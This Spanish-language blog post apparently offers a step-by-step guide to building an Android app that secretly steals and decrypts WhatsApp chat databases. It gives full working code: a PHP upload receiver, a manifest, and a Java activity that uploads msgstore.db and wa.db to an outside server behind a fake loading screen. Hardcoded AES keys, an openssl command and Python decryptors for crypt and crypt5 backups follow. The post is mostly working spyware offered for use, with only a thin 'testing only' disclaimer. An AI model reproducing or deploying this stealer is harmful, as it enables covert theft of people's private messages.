Banner 1

Crear Aplicación en Android para robar y leer chats de WhatsApp.

¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).

Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.

Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:

php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
 
$uploaddir = "/tmp/whatsapp/";
 
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "
";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "
";
  echo "Type: " . $_FILES["file"]["type"] . "
";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB
";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
 
  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>
 
</span><span class="pln">Shoo.. nothing here</span><span class="tag">
method="post" enctype="multipart/form-data"> type="file" name="file" id="file"> type="submit" value="Submit">

Después debemos configurar nuestro php.ini para subir ficheros grandes:

...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M

Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:

xml version="1.0" encoding="utf-8"?>
 xmlns:android="http://schemas.android.com/apk/res/android"
    package="bb.security.whatsappupload"
    android:versionCode="1"
    android:versionName="1.0" >
 
     android:name="android.permission.READ_EXTERNAL_STORAGE" />
     android:name="android.permission.INTERNET" />
 
    
        android:minSdkVersion="8"
        android:targetSdkVersion="19" />
 
    
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
 
        
            android:name="bb.security.whatsappupload.MainActivity"
            android:label="@string/app_name" >
            
                 android:name="android.intent.action.MAIN" />
 
                 android:name="android.intent.category.LAUNCHER" />
            
             
Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno:

 xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >
 
    
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />
 

A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:

    - /WhatsApp/Databases/msgstore.db
    - /WhatsApp/Databases/wa.db
    - /WhatsApp/Databases/msgstore.db.crypt

    - /WhatsApp/Databases/msgstore.db.crypt5 (últimas versiones)
package bb.security.whatsappupload;
 
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
 
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
 
public class MainActivity extends Activity {
 
    //A ProgressDialog object
    private ProgressDialog progressDialog;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new UploadWhatsApp().execute();
    }
 
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
 
    @SuppressWarnings("deprecation")
    private void uploadFile(String file) {
        HttpURLConnection conn = null;
        DataOutputStream dos = null;
        DataInputStream inStream = null;
 
        Log.i("FILE", "Filename:\n" + file);
 
        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";
        int bytesRead, bytesAvailable, bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024 * 1024;
        String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
        try {
            //     ------------------ CLIENT REQUEST
            FileInputStream fileInputStream = new FileInputStream(new File(
                    file));
            // open a URL connection to the Servlet
            URL url = new URL(urlString);
            // Open a HTTP connection to the URL
            conn = (HttpURLConnection) url.openConnection();
            // Allow Inputs
            conn.setDoInput(true);
            // Allow Outputs
            conn.setDoOutput(true);
            // Don't use a cached copy.
            conn.setUseCaches(false);
            // Use a post method.
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Connection", "Keep-Alive");
            conn.setRequestProperty("Content-Type",
                    "multipart/form-data;boundary=" + boundary);
            dos = new DataOutputStream(conn.getOutputStream());
            dos.writeBytes(twoHyphens + boundary + lineEnd);
            dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                    + file + "\"" + lineEnd);
            dos.writeBytes(lineEnd);
            // create a buffer of maximum size
            bytesAvailable = fileInputStream.available();
            bufferSize = Math.min(bytesAvailable, maxBufferSize);
            buffer = new byte[bufferSize];
            // read file and write it into form...
            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            while (bytesRead > 0) {
                dos.write(buffer, 0, bufferSize);
                bytesAvailable = fileInputStream.available();
                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            }
            // send multipart form data necesssary after file data...
            dos.writeBytes(lineEnd);
            dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
            // close streams
            Log.e("Debug", "File is written");
            fileInputStream.close();
            dos.flush();
            dos.close();
        } catch (MalformedURLException ex) {
            Log.e("Debug", "error: " + ex.getMessage(), ex);
        } catch (IOException ioe) {
            Log.e("Debug", "error: " + ioe.getMessage(), ioe);
        }
        // ------------------ read the SERVER RESPONSE
        try {
            if (conn != null){
                inStream = new DataInputStream(conn.getInputStream());
                String str;
 
                while ((str = inStream.readLine()) != null) {
                    Log.e("Debug", "Server Response " + str);
                }
                inStream.close();
            }
 
        } catch (IOException ioex) {
            Log.e("Debug", "error: " + ioex.getMessage(), ioex);
        }
    }
 
    private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
 
        @Override
        protected void onPreExecute()
        {
            //Create a new progress dialog
            progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                    "Loading, please wait...", false, false);
        }
 
        //The code to be executed in a background thread.
        @Override
        protected Void doInBackground(Void... params)
        {
 
            String fileWACrypt = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
            String fileWAPlain = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db";
            String fileWAwa = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/wa.db";
 
            MainActivity.this.uploadFile(fileWACrypt);
            MainActivity.this.uploadFile(fileWAPlain);
            MainActivity.this.uploadFile(fileWAwa);
            return null;
        }
 
        //Update the progress
        @Override
        protected void onProgressUpdate(Integer... values)
        {
            //set the current progress of the progress dialog
            progressDialog.setProgress(values[0]);
        }
 
        //after executing the code in the thread
        @Override
        protected void onPostExecute(Void result)
        {
            //close the progress dialog
            progressDialog.dismiss();
            //initialize the View
            setContentView(R.layout.activity_main);
        }
 
    }
}
   
msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.

Por lo tanto podremos descifrarla una vez obtenido mediante:

openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c

o mediante el siguiente script en Python:

#!/usr/bin/env python
 
import sys
from Crypto.Cipher import AES
 
try:
    wafile=sys.argv[1]
except:
    print "Usage: %s " % __file__
    sys.exit(1)
 
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
 
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...

Actualización: Desde la última actualización (2.11.152), WhatsApp ha cambiado el algoritmo y la clave para cifrar las copias de seguridad en las SD. Los nuevos archivos con extensión "crypt5" se cifran mediante aes-cbc-192.

Para descifrarlo podéis utilizar un script de grbnz0 y nullsub (
más información en SbD):

- python pwncrypt5.py msgstore.db.crypt5 grbnz0@gmail.com > msgstore.sdb

#!/usr/bin/env python
"""
48bits presents:
8===============================================D~~~
WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub
8===============================================D~~~
"""
                                                                                                                                                                                   
import sys
import hashlib
import StringIO
from M2Crypto import EVP
 
key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])
iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])
 
def decrypt(db,acc):
  fh = file(db,'rb')
  edb = fh.read()
  fh.close()
  m = hashlib.md5()
  m.update(acc)
  md5 = bytearray(m.digest())
  for i in xrange(24): key[i] ^= md5[i&0xF]
  cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)
  sys.stdout.write(cipher.update(edb))
  sys.stdout.write(cipher.final())
 
if __name__ == '__main__':
  if len(sys.argv) != 3:
    print 'usage %s   > decrypted.db' % sys.argv[0]
  else:
    decrypt(sys.argv[1],sys.argv[2])

No hay comentarios:

Powered by Bad Robot
Helped by Blackubay